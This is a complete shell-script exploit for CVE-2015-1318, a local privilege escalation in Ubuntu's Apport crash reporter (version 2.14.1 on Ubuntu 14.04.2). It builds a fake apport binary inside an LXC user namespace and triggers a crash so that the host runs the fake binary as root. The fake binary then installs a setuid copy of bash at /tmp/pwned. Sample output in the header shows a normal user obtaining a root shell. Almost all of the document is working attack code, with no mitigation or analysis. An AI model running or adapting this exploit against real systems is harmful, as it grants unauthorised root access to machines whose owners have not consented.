Apport 2.14.1 (Ubuntu 14.04.2) – Local Privilege Escalation
#!/bin/sh # # CVE-2015-1318 # # Reference: https://bugs.launchpad.net/ubuntu/+source/apport/+bug/1438758 # # Example: # # % uname -a # Linux maggie 3.13.0-48-generic #80-Ubuntu SMP Thu Mar 12 11:16:15 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux # # % lsb_release -a # No LSB modules are available. # Distributor ID: Ubuntu # Description: Ubuntu 14.04.2 LTS # Release: 14.04 # Codename: trusty # # % dpkg -l | grep '^ii apport ' | awk -F ' ' '{ print $2 " " $3 }' # apport 2.14.1-0ubuntu3.8 # # % id # uid=1000(ricardo) gid=1000(ricardo) groups=1000(ricardo) (...) # # % ./apport.sh # pwned-4.3# id # uid=1000(ricardo) gid=1000(ricardo) euid=0(root) groups=0(root) (...) # pwned-4.3# exit TEMPDIR=$(mktemp -d) cd ${TEMPDIR} cp /bin/busybox . mkdir -p dev mnt usr/share/apport ( cat << EOF #!/busybox sh ( cp /mnt/1/root/bin/bash /mnt/1/root/tmp/pwned chmod 5755 /mnt/1/root/tmp/pwned ) EOF ) > usr/share/apport/apport chmod +x usr/share/apport/apport ( cat << EOF mount -o bind . . cd . mount --rbind /proc mnt touch dev/null pivot_root . . ./busybox sleep 500 & SLEEP=\$! ./busybox sleep 1 ./busybox kill -11 \$SLEEP ./busybox sleep 5 EOF ) | lxc-usernsexec -m u:0:$(id -u):1 -m g:0:$(id -g):1 2>&1 >/dev/null -- \ lxc-unshare -s "MOUNT|PID|NETWORK|UTSNAME|IPC" -- /bin/sh 2>&1 >/dev/null /tmp/pwned -p rm -Rf ${TEMPDIR} |